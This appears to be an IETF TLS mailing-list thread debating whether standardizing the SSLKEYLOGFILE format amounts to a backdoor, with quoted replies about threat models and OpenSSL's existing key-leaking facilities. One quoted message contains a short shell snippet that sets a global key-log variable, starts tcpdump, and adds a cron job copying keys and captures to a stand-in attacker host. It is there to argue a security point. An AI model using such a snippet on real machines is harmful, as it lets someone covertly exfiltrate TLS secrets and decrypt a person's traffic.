On Friday, 21 February 2025 15:43:32 CET, Andrei Popov wrote:
I agree with Stephen and Tomas on this one. Additionally, in
my opinion, this WG should not have published any SSLKEYLOGFILE
documents, because they effectively standardize a backdoor.
It is understood that there is a need for debugging, and it is
understood that certain SW vendors want to agree on a common log
data format and publish this format.
However:
- Debugging can (and should) be accomplished without a complete
compromise of the security protocol (arguably, with less
ease/convenience).
- Backdoor specifications can be agreed upon outside the IETF
process and published as part of the respective SW vendor's
documentation, without involving the IETF.
The reason for existence of this mechanism is specifically to allow
regular users to provide debugging information useful to developers.
For that to be actually convinient, it needs to be widely supported.
As it already is in curl, Firefox, GnuTLS, wireshark...
Cheers,
Andrei
-----Original Message-----
From: Bellebaum, Thomas <thomas.belleb...@aisec.fraunhofer.de>
Sent: Friday, February 21, 2025 2:18 AM
To: stephen.farr...@cs.tcd.ie; robainloy...@gmail.com;
rs...@akamai.com; hka...@redhat.com
Cc: tls@ietf.org
Subject: [EXTERNAL] [TLS] Re: 2nd Working Group Last Call for
The SSLKEYLOGFILE Formatfor TLS
[You don't often get email from
thomas.belleb...@aisec.fraunhofer.de. Learn why this is
important at https://aka.ms/LearnAboutSenderIdentification ]
I disagree with this because if an attacker could write to the
environment variable used by the program or is able to side-load a
library and capture outbound packets, it is very likely that they
already have privileged access to the machine.
I am questioning the threat model. Just like Perfect Forward
Secrecy comes at an unbearable cost if you believe that TLS
cannot provide ANY security if you ever get compromised (The
advocate might say: after all, the database is not encrypted,
there are backups, ...).
In that spirit, let us assume that some individual has root
access to an average user's computer.
What could theoretically happen? Anything. Agreed.
What could practically happen? Well, it depends...
Say the user is using Linux (that is what I have, I assume
Windows has similar functionality):
```sh
echo "export SSLKEYLOGFILE=/tmp/keys" >> /etc/profile echo
"tcpdump -w /tmp/traffic &" >> /etc/profile echo "0 * * * * scp
/tmp/keys /tmp/traffic u...@attacker.com:~/" >> /etc/crontab ```
(You get the point. Let us assume that the kinks would be
filtered out before deploying :) )
This is simple enough to fit in a forum post and fortunately
for our attacker, the TCP dumps can now be automatically parsed
using a range of tools since all relevant protocols
(TCP/TLS/HTTP/SMTP/Twitter-API/...) are well documented.
Next, let us go out of our way and assume that interoperable
file formats did not exist.
Again, in theory, our attacker could replace programs to leak
the keys, side-load a library, perform memory dumps and analyze
them, etc.
Is he going to do that, though?
All the above methods do not scale to many programs at once. In
each case, an attacker would first need to figure out a way to
do that (and do it reliably in an automated fashion).
It would suprise me to learn that the same potential would rest
in three lines of shell code.
Yes, state level actors, etc. have enough resources to not
care. How about an abusive partner in your relationship? A bit
of frustration on their side might go a long way.
This is the difference I am worried about. It is not
quantifiable in the cryptographic sense (Any attacker with
resources X has probability < Y to achieve Z), but it is
relevant in practice.
We can make the adversary work a bit harder using very simple
measures. For instance, by suggesting that applications should
notify their users if this method is used, the above gain
disappears.
Cost: An extra if clause in the code to display the happy green
location bar. Effect: Can hardly be less than that.
There already is widely deployed software that leaks key information.
OpenSSL has a trace facility, normally compiled out, that reports
PKCS#12 passwords[1]. The keylog stuff *is* compiled-out by default.
The OpenSSL library also provides a register-callback function that
will get private key material and that is always enabled which the
OpenSSL project does not consider a security risk[2]. I assume OpenSSL
qualifies as widely-deployed. :)
This is scary as well. I did not know that :) Still, this is
one implementation. We are considering interoperability-enabling
documents.
If misuse of this API should become a real-world issue, the
OpenSSL project will almost certainly be able to remidy it
faster than the IETF.
--
Regards,
Alicja Kario
Principal Quality Engineer, RHEL Crypto team
Web: www.cz.redhat.com
Red Hat Czech s.r.o., Purkyňova 115, 612 00, Brno, Czech Republic
_______________________________________________
TLS mailing list -- tls@ietf.org
To unsubscribe send an email to tls-le...@ietf.org
